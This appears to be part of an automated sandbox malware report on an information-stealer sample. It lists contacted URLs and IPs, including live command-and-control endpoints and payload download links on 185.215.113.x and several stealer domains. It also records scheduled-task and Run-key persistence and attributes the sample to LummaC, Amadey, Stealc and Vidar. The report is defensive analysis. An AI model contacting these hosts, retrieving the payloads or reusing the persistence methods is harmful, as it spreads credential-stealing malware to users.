580f9a92c2.exe, 00000011.00000003.2544583004.0000000001375000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000002.1942675827.0000000001085000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2586921115.0000000005B60000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2587686990.0000000005B61000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2823321097.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, GCFHDAKECFIDGDGDBKJD.0.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpy1mb3JtLXVybGVuY29kZWQ=exe4	skotes.exe, 0000000B.00000002.2915270609.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=fK65ckRAjZr-&	580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000E11000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000002.2387035660.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000002.2387179534.0000000000E11000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534055353.0000000001366000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206r	file.exe, 00000000.00000002.1942675827.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://presticitpo.store:443/api	580f9a92c2.exe, 00000014.00000003.2755338264.0000000001345000.00000004.00000020.00020000.00000000.sdmp	false		high
https://scriptyprefej.store/api	580f9a92c2.exe, 00000014.00000003.2782093488.0000000001379000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2773096940.0000000001379000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206g	580f9a92c2.exe, 00000011.00000002.2748924112.0000000001322000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/dw	file.exe, 00000000.00000002.1942675827.000000000101A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.php5543001	skotes.exe, 0000000B.00000002.2915270609.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=1vfyNnvUqkgy&l=engl	580f9a92c2.exe, 00000011.00000003.2534055353.0000000001366000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1818351918.0000000023478000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2546801503.0000000005B74000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2546560002.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2547070606.0000000005B74000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2794884731.0000000005A2F000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2795071313.0000000005A18000.00000004.00000800.00020000.00000000.sdmp, GHJKJDAK.0.dr	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000002.1942675827.0000000001085000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2586921115.0000000005B60000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2587686990.0000000005B61000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2823321097.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, GCFHDAKECFIDGDGDBKJD.0.dr	false		high
http://ocsp.rootca1.amazontrust.com0:	580f9a92c2.exe, 00000011.00000003.2572472353.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2817980928.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpindows	580f9a92c2.exe, 00000011.00000002.2748924112.0000000001322000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1818351918.0000000023478000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2546801503.0000000005B74000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2546560002.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2547070606.0000000005B74000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2794884731.0000000005A2F000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2795071313.0000000005A18000.00000004.00000800.00020000.00000000.sdmp, GHJKJDAK.0.dr	false		high
https://lv.queniujq.cn	580f9a92c2.exe, 00000014.00000003.2772523264.000000000135C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199724331900/inventory/	580f9a92c2.exe, 00000011.00000003.2546685250.000000000137D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2614139210.0000000001357000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2587939982.0000000001357000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2559683905.000000000137D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2603565001.0000000001357000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534055353.0000000001366000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2559177962.0000000001357000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2558979343.000000000137D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2559975310.000000000137D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2544583004.0000000001375000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2806493176.00000000013DA000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2792831307.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2823321097.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2794469472.00000000013DC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2816873179.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2795595664.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com/	580f9a92c2.exe, 00000014.00000003.2772523264.000000000135C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://plus.google.com	chromecache_81.3.dr	false		high
https://steamcommunity.com/linkfil	580f9a92c2.exe, 00000011.00000003.2569576526.000000000137A000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2587559356.000000000137B000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2601492562.000000000137D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2586681389.0000000001376000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/ta	971dbb906d.exe, 0000000D.00000002.2457446943.00000000008F8000.00000004.00000020.00020000.00000000.sdmp, 971dbb906d.exe, 00000012.00000002.2631391189.000000000154D000.00000004.00000020.00020000.00000000.sdmp, 971dbb906d.exe, 00000015.00000002.2892455567.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fa	580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/recaptcha/	580f9a92c2.exe, 00000014.00000003.2772523264.000000000135C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://checkout.steampowered.com/	580f9a92c2.exe, 00000014.00000003.2772523264.000000000135C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpded	skotes.exe, 0000000B.00000002.2915270609.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/luma/random.exelencoded	skotes.exe, 0000000B.00000002.2915270609.0000000000A5E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/off/def.exe	580f9a92c2.exe, 00000011.00000002.2748924112.0000000001357000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=g2Zx7e0yBV_M&l=english	580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000E11000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000002.2387035660.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000002.2387179534.0000000000E11000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534055353.0000000001366000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://crisiwarny.store/	580f9a92c2.exe, 00000014.00000003.2755338264.000000000135C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	580f9a92c2.exe, 00000011.00000003.2545494896.0000000005B8B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpe0	971dbb906d.exe, 00000015.00000002.2892455567.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1	580f9a92c2.exe, 00000011.00000003.2534055353.0000000001366000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://marshal-zhukov.com/)	580f9a92c2.exe, 00000014.00000003.2781687334.0000000001383000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2782043378.0000000001392000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://marshal-zhukov.com/(	580f9a92c2.exe, 00000014.00000003.2879305367.00000000013CF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://help.steampowered.com/en/	580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpa	skotes.exe, 0000000B.00000002.2915270609.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e	580f9a92c2.exe, 00000011.00000003.2534055353.0000000001366000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phph	971dbb906d.exe, 00000012.00000002.2631391189.000000000154D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpb	skotes.exe, 0000000B.00000002.2915270609.0000000000A0B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpf	971dbb906d.exe, 00000012.00000002.2631391189.000000000154D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/steam/random.exel	580f9a92c2.exe, 00000011.00000002.2748924112.0000000001357000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.206/68b591d6548ec281/softokn3.dlltQ	file.exe, 00000000.00000002.1942675827.000000000101A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phps	971dbb906d.exe, 00000015.00000002.2892455567.000000000147B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php0A	file.exe, 00000000.00000002.1968346167.0000000023531000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://recaptcha.net/recaptcha/;	580f9a92c2.exe, 00000014.00000003.2772523264.000000000135C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpL	skotes.exe, 0000000B.00000002.2915270609.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/l	skotes.exe, 0000000B.00000002.2915270609.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php/e	580f9a92c2.exe, 00000011.00000002.2754001655.0000000005B50000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=ftiDdX_V0QeB&l=englis	580f9a92c2.exe, 00000011.00000003.2534055353.0000000001366000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://marshal-zhukov.com/apis	580f9a92c2.exe, 00000011.00000003.2559177962.0000000001357000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://presticitpo.store/E	580f9a92c2.exe, 00000014.00000003.2755338264.000000000135C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.php1M	580f9a92c2.exe, 00000011.00000002.2748924112.0000000001389000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://broadcast.st.dl.eccdnx.com	580f9a92c2.exe, 00000014.00000003.2772523264.000000000135C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/luma/random.exeZ	skotes.exe, 0000000B.00000002.2915270609.0000000000A5E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://x1.c.lencr.org/0	580f9a92c2.exe, 00000011.00000003.2572472353.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2817980928.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	580f9a92c2.exe, 00000011.00000003.2572472353.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2817980928.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://steamcommunity.com/E	580f9a92c2.exe, 00000011.00000003.2534445687.00000000012FB000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534083553.00000000012F9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php1W	971dbb906d.exe, 0000000D.00000002.2457446943.00000000008F8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe	file.exe, 00000000.00000002.1941074085.0000000000534000.00000040.00000001.01000000.00000003.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpA1J	971dbb906d.exe, 00000015.00000002.2892455567.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.php)	skotes.exe, 0000000B.00000002.2915270609.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://apis.google.com	chromecache_79.3.dr, chromecache_81.3.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.185.132	www.google.com	United States	15169	GOOGLEUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
23.192.247.89	steamcommunity.com	United States	16625	AKAMAI-ASUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.97.3	marshal-zhukov.com	European Union	13335	CLOUDFLARENETUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.184.238	play.google.com	United States	15169	GOOGLEUS	false
142.250.184.206	plus.l.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1553634
Start date and time:	2024-11-11 14:31:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@38/41@34/11
EGA Information:	Successful, ratio: 75%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 64.233.167.84, 172.217.23.99, 142.250.74.206, 34.104.35.123, 142.250.185.67, 216.58.212.170, 142.250.185.138, 142.250.186.138, 142.250.185.106, 216.58.212.138, 142.250.185.74, 142.250.185.202, 142.250.184.234, 172.217.18.10, 216.58.206.42, 142.250.186.106, 216.58.206.74, 172.217.16.202, 142.250.185.170, 142.250.186.74, 142.250.74.202, 93.184.221.240, 192.229.221.95
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, ogads-pa.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, clients.l.google.com, www.gstatic.com
Execution Graph export aborted for target file.exe, PID 7436 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
08:33:01	API Interceptor	1158x Sleep call for process: skotes.exe modified
08:33:08	API Interceptor	26x Sleep call for process: 580f9a92c2.exe modified
13:32:24	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
13:33:12	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 580f9a92c2.exe C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe
13:33:20	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 971dbb906d.exe C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe
13:33:29	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run a247c36bcc.exe C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe
13:33:37	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 580f9a92c2.exe C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe
13:33:45	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 971dbb906d.exe C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe
13:33:54	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run a247c36bcc.exe C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
185.215.113.16	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
marshal-zhukov.com	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3
	Setup.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar, Zhark RAT	Browse	188.114.97.3
	DJkolK7tif.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	3UggdYnYGK.exe	Get hash	malicious	LummaC, XWorm	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar, XWorm	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
steamcommunity.com	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	23.192.247.89
	file.exe	Get hash	malicious	LummaC	Browse	23.192.247.89
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.50.98.133
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	23.192.247.89
	Setup.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	23.197.127.21
	QkBj8CevLU.exe	Get hash	malicious	Stealc, Vidar	Browse	23.197.127.21
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar, Zhark RAT	Browse	23.197.127.21
	DJkolK7tif.exe	Get hash	malicious	LummaC	Browse	95.100.48.249
	LTU0L7ajFq.exe	Get hash	malicious	LummaC	Browse	23.192.247.89
	3UggdYnYGK.exe	Get hash	malicious	LummaC, XWorm	Browse	23.192.247.89

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	CkHXjQGPA5.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	QNiXvaE3ps.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	N8Sriy2UsP.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3
